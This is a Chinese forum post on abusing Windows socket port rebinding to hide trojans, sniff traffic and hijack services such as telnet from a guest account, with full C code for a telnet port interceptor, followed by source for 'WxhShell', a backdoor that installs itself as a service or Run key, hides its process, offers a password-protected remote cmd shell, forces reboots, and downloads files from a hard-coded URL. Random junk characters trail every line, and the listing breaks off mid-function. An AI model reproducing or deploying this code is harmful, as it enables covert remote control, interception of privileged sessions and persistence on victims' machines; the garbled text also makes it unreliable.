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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [c v!YE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R{Cbp=3J  
y>^0q/=]?O  
  saddr.sin_family = AF_INET; 2W#^^4^+  
SnM^T(gtS3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @7{.err!  
^@Z8 _PZo  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^|2m&2  
FwD q@Oj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 PM'2zP[*W  
#)O^aac29  
  这意味着什么?意味着可以进行如下的攻击: >=.3Vydi1  
Rgl cd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {xh5s<uOj  
)mjGHq 2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) h67{qY[J[  
n+nZ;GJ5d  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 iU(B#ohW"  
(B! DBnq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <-,y0Y'  
'~1Zr uO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nC)"% Sa  
F@zTz54t  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Oz)/KZ  
lr@w1*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :39arq  
vJS}_j]_@  
  #include ]EG8+K6  
  #include A8Km8"  
  #include SwM=?<  
  #include    XWq"_$&LF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   d1'= \PYr  
  int main() 5hTScnL%  
  { vG\ b `  
  WORD wVersionRequested; @jrxbo;5  
  DWORD ret; m c{W\H  
  WSADATA wsaData; m!=5Q S3Z  
  BOOL val; ^dE[ ;  
  SOCKADDR_IN saddr; n~tb z"&  
  SOCKADDR_IN scaddr; NQqNBI?cr  
  int err; `,4@;j<^@  
  SOCKET s; Bx6,U4o*  
  SOCKET sc; >Psq" Xj  
  int caddsize; a2/Mf   
  HANDLE mt; !YZKa-  
  DWORD tid;   Z'Pe%}3  
  wVersionRequested = MAKEWORD( 2, 2 ); MH0wpHz  
  err = WSAStartup( wVersionRequested, &wsaData ); qVH.I6)  
  if ( err != 0 ) { -Kcjnl92i  
  printf("error!WSAStartup failed!\n"); 9}Ge@a<j  
  return -1; s)KlKh  
  } COmu.'%*  
  saddr.sin_family = AF_INET; ^YB2E*  
   JAT%s %UC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @AK&R~<  
7PBE(d%m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~$hR:I1  
  saddr.sin_port = htons(23); 0j 8`M"6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) afzx?ekdF  
  { ?e,:x ]\L  
  printf("error!socket failed!\n"); Ge7B%p8  
  return -1; W1Ye+vg/s  
  } y O,Jgn  
  val = TRUE; 1}+b4 "7]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 AlkHf]oB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N">#fYix  
  { oK$Krrs0&  
  printf("error!setsockopt failed!\n"); XODp[+xEEt  
  return -1; V`HnFAW  
  } z4$9,p `  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zQ<;3+*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nHRk2l|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4:pgZz!  
Dsb Tx.vA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F^S]7{  
  { 69apTx  
  ret=GetLastError(); 4=;j.=>0X  
  printf("error!bind failed!\n"); (U 4n} J  
  return -1; 1LAd5X  
  } "fUNrhCx  
  listen(s,2); 0,Ib74N'w  
  while(1) .yFO] r1aL  
  { .GL@`7"  
  caddsize = sizeof(scaddr); }[h]z7e2S  
  //接受连接请求 `"<hO 'WU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lP*=4Jh  
  if(sc!=INVALID_SOCKET) `AvK=]  
  { 99CK [G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sLXM$SMBh  
  if(mt==NULL) b;#_?2c  
  { $)BPtGMGo  
  printf("Thread Creat Failed!\n"); rK`^A  
  break; \7pEn  
  } ^:}C,lIrG  
  } -Dy<B  
  CloseHandle(mt); o4Cq  /K  
  } rm$dv%q  
  closesocket(s); R.F l5B  
  WSACleanup(); =tP^vgfQ  
  return 0;  + #E?)  
  }   /e*fsQ>M:  
  DWORD WINAPI ClientThread(LPVOID lpParam) #y[omla8  
  { g j]8/~lr  
  SOCKET ss = (SOCKET)lpParam; 5\w*W6y  
  SOCKET sc; <W)F{N?  
  unsigned char buf[4096]; 78~/1-  
  SOCKADDR_IN saddr; m^3j|'mG  
  long num; 11kyrv  
  DWORD val; jb{9W7;RL  
  DWORD ret; *'aouS/?<6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5 6.JB BZZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P1B=fgT  
  saddr.sin_family = AF_INET; >VQLC&u(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <r`;$K  
  saddr.sin_port = htons(23); X(rXRP#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PAtv#)h  
  { 9F?-zn;2s  
  printf("error!socket failed!\n"); :@ VCKq!  
  return -1; ,S(s  
  } 5MD'AP:  
  val = 100; 5?? }9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ysl#Rwt/2  
  { yWE\)]9  
  ret = GetLastError(); D .LR-Z  
  return -1; [@8po-()L  
  } kWy@wPqms  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MPy>< J  
  { `Syfl^9B  
  ret = GetLastError(); 4z26a  
  return -1; x?0K'  
  } \=mLL|a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3S2Alx!6  
  { #7}M\\$M  
  printf("error!socket connect failed!\n"); ZH8w^}  
  closesocket(sc); (_CvN=A  
  closesocket(ss); 96QY0  
  return -1; CSq|R-@< U  
  } ksuePMIK  
  while(1) b6sf1E  
  { &}7R\co3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r jxkgd  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |G$-5 7fk  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 sP eTW*HeR  
  num = recv(ss,buf,4096,0); fjl 9*  
  if(num>0) LL)t)  
  send(sc,buf,num,0); %"fO^KA.h]  
  else if(num==0) DI2e%`$  
  break; ls!A'@J  
  num = recv(sc,buf,4096,0); !Ko>   
  if(num>0) T]tu#h{ a  
  send(ss,buf,num,0); w?^[*_Y  
  else if(num==0) (w5cp!qW9J  
  break; %N&W_.F6  
  } ID! S}D  
  closesocket(ss); <)T~_s  
  closesocket(sc); _@[W[= |H  
  return 0 ; b7I0R; Zj  
  } J5HK1  
]?wz.  
hfyU}`]  
========================================================== !K}W.yv,  
QRBx}!:NZ#  
下边附上一个代码,,WXhSHELL vt *  
~ss6yQ$  
========================================================== US"g>WLwJ  
OY:rcGc`t  
#include "stdafx.h" w5~j|c=_W  
-l[$+Kw1S  
#include <stdio.h> "-dA\,G  
#include <string.h> q>>1?hzA  
#include <windows.h> cc_'Kv!  
#include <winsock2.h> ~LV]cX2J(  
#include <winsvc.h> >dm9 YfQ  
#include <urlmon.h> ryh"/lu[B  
oVn&L*H   
#pragma comment (lib, "Ws2_32.lib") eA-oqolY  
#pragma comment (lib, "urlmon.lib") nK?S2/o#A  
oQu>Qr{Zp  
#define MAX_USER   100 // 最大客户端连接数 |Rkw/5  
#define BUF_SOCK   200 // sock buffer \y(3b#  
#define KEY_BUFF   255 // 输入 buffer 7(h@5  
$ B&Zn Z?  
#define REBOOT     0   // 重启 EA8plQ~GtE  
#define SHUTDOWN   1   // 关机 g)r{LxT#+  
=RRv& "2r  
#define DEF_PORT   5000 // 监听端口 t[>UAr1Vt  
LPu *Lkx  
#define REG_LEN     16   // 注册表键长度 (PGw{_  
#define SVC_LEN     80   // NT服务名长度 M|%bxG^l  
U0:*?uA.  
// 从dll定义API Ew| Z<(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k_wcol,W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5 m-/N ?c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $`/UG0rdC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qg(;>ops  
}8aqSD<:  
// wxhshell配置信息 Pvi2j&W84  
struct WSCFG { *PL&CDu=)  
  int ws_port;         // 监听端口 wS#Uw_[  
  char ws_passstr[REG_LEN]; // 口令 6fo" k+S  
  int ws_autoins;       // 安装标记, 1=yes 0=no ``:[Jr &  
  char ws_regname[REG_LEN]; // 注册表键名 NQ 6oyg@&  
  char ws_svcname[REG_LEN]; // 服务名 TaHcvjhR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LDHu10l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v G\J8s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5=|h~/.k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z+6PVQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A-=hvJ5T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xnjl {`  
C5I7\9F)  
}; iO?^y(phC  
 'F.P93  
// default Wxhshell configuration W4d32+V  
struct WSCFG wscfg={DEF_PORT, `VO;\s$5j  
    "xuhuanlingzhe", n9={D  
    1, tm=,x~  
    "Wxhshell", *9kg \#  
    "Wxhshell", ZSe30Rl\  
            "WxhShell Service", ov,s]g83  
    "Wrsky Windows CmdShell Service", h`N2M,  
    "Please Input Your Password: ", #\m.3!Hcr  
  1, l:UKU!  
  "http://www.wrsky.com/wxhshell.exe", 0{bl^#$f  
  "Wxhshell.exe" Er~KX3vF  
    }; +ynhN\S$/  
wyB]!4yy,  
// 消息定义模块 eQ#i.%   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >L4F'#I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FP=- jf/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y]0c%Fd  
char *msg_ws_ext="\n\rExit."; g*YA~J@  
char *msg_ws_end="\n\rQuit."; &Y=~j?~Xm  
char *msg_ws_boot="\n\rReboot..."; ^$lZ  
char *msg_ws_poff="\n\rShutdown..."; a4~B  
char *msg_ws_down="\n\rSave to "; 1Xm>nF~  
K)J_q3qo  
char *msg_ws_err="\n\rErr!"; ( s4W&  
char *msg_ws_ok="\n\rOK!"; [j'!+)>_  
+z?gf*G_W'  
char ExeFile[MAX_PATH]; fv8x7l7  
int nUser = 0; @XzfuuE]  
HANDLE handles[MAX_USER]; k@|px#kq  
int OsIsNt; A~a 3bCX+"  
mKO~`Wq%@  
SERVICE_STATUS       serviceStatus; U.t][#<3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]3I a>i  
! Ea!"}  
// 函数声明 Q`AlK"G,  
int Install(void); 1#_ pj eG  
int Uninstall(void); FauASu,A  
int DownloadFile(char *sURL, SOCKET wsh); s a o&  
int Boot(int flag); zM&ro,W  
void HideProc(void); :AztHf?X  
int GetOsVer(void); rY^uOrR>j*  
int Wxhshell(SOCKET wsl); w$f_z*/  
void TalkWithClient(void *cs); HSG Ln906  
int CmdShell(SOCKET sock); |*g#7 YL  
int StartFromService(void); Y3:HQ0w`|  
int StartWxhshell(LPSTR lpCmdLine); ,s 3|  
6&SNFOX{@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ANw1P{9*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q2m[XcnX  
m6BUKX\m  
// 数据结构和表定义 ~210O5^  
SERVICE_TABLE_ENTRY DispatchTable[] =  eu$VKLY*  
{ 9 CZ@IFS  
{wscfg.ws_svcname, NTServiceMain}, _^GBfM.  
{NULL, NULL} h0 92S|iY  
}; |U{~t<BF#  
+CBN[/Z^i  
// 自我安装 d>)=|  
int Install(void) c{y'&3\  
{ |f$+|9Q?  
  char svExeFile[MAX_PATH]; a}NB6E)-  
  HKEY key; IL.bwt pQD  
  strcpy(svExeFile,ExeFile); # 2^H{7  
,ESli/6  
// 如果是win9x系统,修改注册表设为自启动 f]%S FQ+  
if(!OsIsNt) { h?n?3x!(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3R%JmLM+R9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w(ZZTVW-  
  RegCloseKey(key); Fik ;hB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "0;WYw?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7:vl -ZW  
  RegCloseKey(key); k0V]<#h87  
  return 0; r7R'beiH  
    } 5O]tkHYR  
  } p )JR5z  
} @Drl5C}+  
else { SQK82 /  
Jaw1bUP!oK  
// 如果是NT以上系统,安装为系统服务 !|4]V}JQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _dk[k@5W{'  
if (schSCManager!=0) Pa d)|  
{ G^dp9A  
  SC_HANDLE schService = CreateService Ij4q &i"  
  ( Y3[KS;_fr9  
  schSCManager, i3|xdYe$  
  wscfg.ws_svcname, ?y>ji1  
  wscfg.ws_svcdisp, '1b8>L  
  SERVICE_ALL_ACCESS, XTF[4#WO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RA<ky*^dr  
  SERVICE_AUTO_START, WIi,`/K+  
  SERVICE_ERROR_NORMAL, EL3X8H  
  svExeFile, `(?c4oq,c>  
  NULL, v4|TQ8!wR  
  NULL, m\jjj^f a  
  NULL, @uRJl$3  
  NULL, :B5*?x  
  NULL v^o`+~i  
  ); p#P<V%  
  if (schService!=0) QjSWl,{ $D  
  { #b428-  
  CloseServiceHandle(schService); `x _(EZ  
  CloseServiceHandle(schSCManager); Z9M$*Zp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }gX hN"  
  strcat(svExeFile,wscfg.ws_svcname); L{jx'[C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wMCg`rk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BSHS)_xs  
  RegCloseKey(key); aeN #<M&$<  
  return 0; 9Xg7=(#  
    } FvVC 2Z  
  } tTTHQ7o*BD  
  CloseServiceHandle(schSCManager); |X>'W"Mn  
} {u y^Bui}  
} b?`2LAgn  
=6ru%.8U,  
return 1; 1gBLJ0q  
} $dI mA  
&UnhYG{A  
// 自我卸载 d*Mqs}8  
int Uninstall(void) fNAW4I I}  
{ iQ Xlz] '  
  HKEY key; Yn [ F:Z  
*)w+xWmM3w  
if(!OsIsNt) { %Jh( 5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9VTAs:0D=  
  RegDeleteValue(key,wscfg.ws_regname); EQ^]W-gN  
  RegCloseKey(key); R$l- 7YSt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bFN/{^SB  
  RegDeleteValue(key,wscfg.ws_regname); n7;jME/!  
  RegCloseKey(key); N5zWeFq@6  
  return 0; up['<Kt+a  
  } 64U|]g d$  
} !?ZR_=Y%  
} FD E?O]^  
else { >i  
G.L}VpopM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); deYv&=SPl  
if (schSCManager!=0) cOdRb=?9  
{ b1#C,UWK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :t`W&z41  
  if (schService!=0) oZ/"^5  
  { zOSUYn  
  if(DeleteService(schService)!=0) { 1QA/ !2E  
  CloseServiceHandle(schService); 7)<Ib j<M  
  CloseServiceHandle(schSCManager); *j&\5|^V  
  return 0; Hl%Og$q3  
  } TE o  
  CloseServiceHandle(schService); E-Xz  
  } 9[VYd '  
  CloseServiceHandle(schSCManager); ;0m J4G  
} NX%1L! #  
} XYP RMa?  
q j21#q .  
return 1; Peph..8Z  
} }a!|n4|`  
`T+>E0H(f  
// 从指定url下载文件 ;rT/gwg!  
int DownloadFile(char *sURL, SOCKET wsh) ]8}2  
{ tx[;& ;  
  HRESULT hr; _I;hM  
char seps[]= "/"; \,/ozfJ7dT  
char *token; rG~W=!bj  
char *file; '+$r7?dKP  
char myURL[MAX_PATH]; 9c}C<s`M  
char myFILE[MAX_PATH]; E<-W & a}  
k]:`<`/I_  
strcpy(myURL,sURL); ".|8(Y  
  token=strtok(myURL,seps); a"xRc  
  while(token!=NULL) T7mT:z>:  
  { m[y~-n  
    file=token; Gev\bQa  
  token=strtok(NULL,seps); p#4*:rpq4  
  } |=:@<0.'  
'q;MhnU+  
GetCurrentDirectory(MAX_PATH,myFILE); ZhCz]z~tj6  
strcat(myFILE, "\\"); /cdLMm:  
strcat(myFILE, file); 8wd["hga<%  
  send(wsh,myFILE,strlen(myFILE),0); 9+m>|"F0  
send(wsh,"...",3,0); <Tgubv+J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1&e8vVN  
  if(hr==S_OK) ]!S#[Wt {k  
return 0; }03?eWk/y  
else <!G /&T  
return 1; sdCG}..`  
D +0il=5  
} r,IekFBs  
c%,ky$'18  
// 系统电源模块 )Rb t0   
int Boot(int flag) S9l po_!z  
{ oq|o"n)~  
  HANDLE hToken; lrHN6:x(Y4  
  TOKEN_PRIVILEGES tkp; GNmP_N  
Em Ut/]  
  if(OsIsNt) { 1S(oi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .yUD\ZGJ u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R6 ej  
    tkp.PrivilegeCount = 1; Kk=>"?&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V]Ccj\Oi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w-)JCdS6Tb  
if(flag==REBOOT) { {-7ovH?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `R (N3  
  return 0; w_`;Mn%p  
} R=Lkf  
else { |QbCFihn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3nhQ^zqf  
  return 0; . &}x[~g  
} J:uFQWxZ   
  } D6e?J.  
  else { 0[ "CP:u  
if(flag==REBOOT) { ]S?G]/k}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F3!6}u\F  
  return 0; &-NGVPk81`  
} W=S^t_F  
else { ^o C>,%7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qrOesSdc  
  return 0; j3w~2q"r  
} %<Qv?`B  
} &=%M("IlD  
;A"i.:ZT  
return 1; q2B'R   
} ! Y UT*  
QrSO%Rm1*  
// win9x进程隐藏模块 h Ks  
void HideProc(void) Wn;%B].I  
{ `_neYT  
G~&q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :G9d,B7*  
  if ( hKernel != NULL ) dwvc;f-  
  { jsV1~1:83  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K-*ZS8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #+" D?  
    FreeLibrary(hKernel); "\9 beK:l  
  } 1 5|gG<-  
"3 2Ua3m:G  
return; KTo}xLT  
} r#ADxqkaV  
qS}{O0  
// 获取操作系统版本 1$ }Tn  
int GetOsVer(void) ]x& R=)P  
{ \mb@-kM)  
  OSVERSIONINFO winfo; H_Hr=_8}-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }|=Fnyj  
  GetVersionEx(&winfo); K43`$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S9b=?? M)  
  return 1; 7PfNPz<4+  
  else a&mL Dh/  
  return 0; [UdJ(cGf  
} t]3:vp5N]  
3,#qt}8`  
// 客户端句柄模块 `7`` 1TL  
int Wxhshell(SOCKET wsl) _q-k1$ o$  
{ 4yMi9Ri4H  
  SOCKET wsh; 5``usn/&Kj  
  struct sockaddr_in client; 5K|`RzZ`B$  
  DWORD myID; 5D^2 +`$/  
d"ZsOq10D  
  while(nUser<MAX_USER) ,HE{&p2y  
{ DeN2P  
  int nSize=sizeof(client); '|tmmoY6a:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Frx_aGLH1  
  if(wsh==INVALID_SOCKET) return 1; :%fnJg(  
SZxnYVY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  HsG3s?*  
if(handles[nUser]==0) V+})$m*>  
  closesocket(wsh); ] :](xW%  
else qw|B-lT{:  
  nUser++; n%vmo f  
  } "0>AefFd#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |U~\;m@  
&u2m6 r>W  
  return 0; r5lPO*?Df  
} Fkqw #s(T  
z^KBV ^n  
// 关闭 socket n? ^oQX}.\  
void CloseIt(SOCKET wsh) l~1l~Gx_&n  
{ =jG."o  
closesocket(wsh); )ZZ6 (O  
nUser--; K[V#Pj9  
ExitThread(0); @9]TjZd  
} -Y"2c,~pH  
gazX2P[D  
// 客户端请求句柄 Q`=d5Uvw  
void TalkWithClient(void *cs) ?|hYtV  
{ K9RRY,JB  
)DQcf]I  
  SOCKET wsh=(SOCKET)cs; A(C0/|#V  
  char pwd[SVC_LEN]; +I.{y  
  char cmd[KEY_BUFF]; JVx-4?  
char chr[1]; (3m^@2i  
int i,j; JAmpU^(C  
D|C!KF (  
  while (nUser < MAX_USER) { )h%tEY$AJ  
Lp{uA4:=K  
if(wscfg.ws_passstr) { !|,djo!N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )Ee`11  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =@;\9j  
  //ZeroMemory(pwd,KEY_BUFF); @# p{,L  
      i=0; -{*QjP;K  
  while(i<SVC_LEN) { UQT=URS  
Og2w] B[  
  // 设置超时 B1U7z1<  
  fd_set FdRead; ~MK%^5y?  
  struct timeval TimeOut; kKVNE h Tp  
  FD_ZERO(&FdRead); I^``x+a  
  FD_SET(wsh,&FdRead); =^ x1: Ak  
  TimeOut.tv_sec=8; U]E~7C  
  TimeOut.tv_usec=0; ~#rmw6y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ukee.:{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -zm-|6[Wi  
#.@D}7y5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kbx4I?  
  pwd=chr[0]; .Ax]SNZ+:A  
  if(chr[0]==0xd || chr[0]==0xa) { FCt %of#  
  pwd=0; EHq?yj;  
  break; >\1j`/ :ZI  
  } W_]onq 6  
  i++; [Al} GM  
    } Ch&2{ ng  
> a8'MK  
  // 如果是非法用户,关闭 socket A9y3B^\*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s";9G^:  
} Xf|I=XK  
N*}g+ IS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~2 J!I^ J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y c>.P  
`Y<FR  
while(1) { mx0EEU*  
8/ CK(G  
  ZeroMemory(cmd,KEY_BUFF); @B>pPCowa  
MB?762 Q  
      // 自动支持客户端 telnet标准   lM%3 ?~?Q&  
  j=0; KN\tRE  
  while(j<KEY_BUFF) { T5TA kEVl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +78cQqDY!  
  cmd[j]=chr[0]; =?1B|hdo  
  if(chr[0]==0xa || chr[0]==0xd) { ";w"dfC^  
  cmd[j]=0; (5=B^9{R  
  break; {= T9_c  
  } Y$eO:67;  
  j++; lMb&F[KJ7  
    } -=4:qQEw  
f] kG%JEK  
  // 下载文件 \hqjk:o  
  if(strstr(cmd,"http://")) { pb|,rLNZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /E5>cqX4A  
  if(DownloadFile(cmd,wsh)) 6Iv &c2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1>_2 =^[  
  else 3m/XT"D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /,^AG2]( f  
  } k:`yxxYIh  
  else { .QM>^(o$Z  
/G!M\teeF  
    switch(cmd[0]) { 39Tlt~Psz  
  9h0Y">}`b  
  // 帮助 Au{J/G<W@  
  case '?': { *skmTioj&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +(8Z8]Jf  
    break; m}sh (W5\  
  } V\r2=ok@y  
  // 安装 bG!/%,s  
  case 'i': { :Mnl1;oh  
    if(Install()) d`J~w/] `\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5P![fX|5  
    else v4X)R "jJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yz^Rm2$f9  
    break; mW 'sdb  
    } '0jn|9l58  
  // 卸载 Dq9*il;'  
  case 'r': { rc7^~S]5  
    if(Uninstall()) *L#\#nh7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mBg$eiGTB  
    else / yTPb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KWi P`h8  
    break; G Y+li {  
    } {1J4Q[N9m  
  // 显示 wxhshell 所在路径 #b$qtp!,  
  case 'p': { 5/m}v'S%  
    char svExeFile[MAX_PATH]; $VUX?ii$7=  
    strcpy(svExeFile,"\n\r"); %.  W56  
      strcat(svExeFile,ExeFile); +Z=DvKsTJ  
        send(wsh,svExeFile,strlen(svExeFile),0); 'Em633  
    break; =r>u'wRQ  
    } D[p`1$E-1v  
  // 重启 o6)U\z  
  case 'b': { OH6-\U'.Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }]|e0 w:  
    if(Boot(REBOOT)) &[y+WrGG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D` 2w>{Y  
    else { -5#cfi4^*  
    closesocket(wsh); wYN/ }>M  
    ExitThread(0); 3?bTs =  
    } N<T@GQwkS  
    break; `clp#l.ii  
    } M.fA5rJ^  
  // 关机 "{M?,jP#  
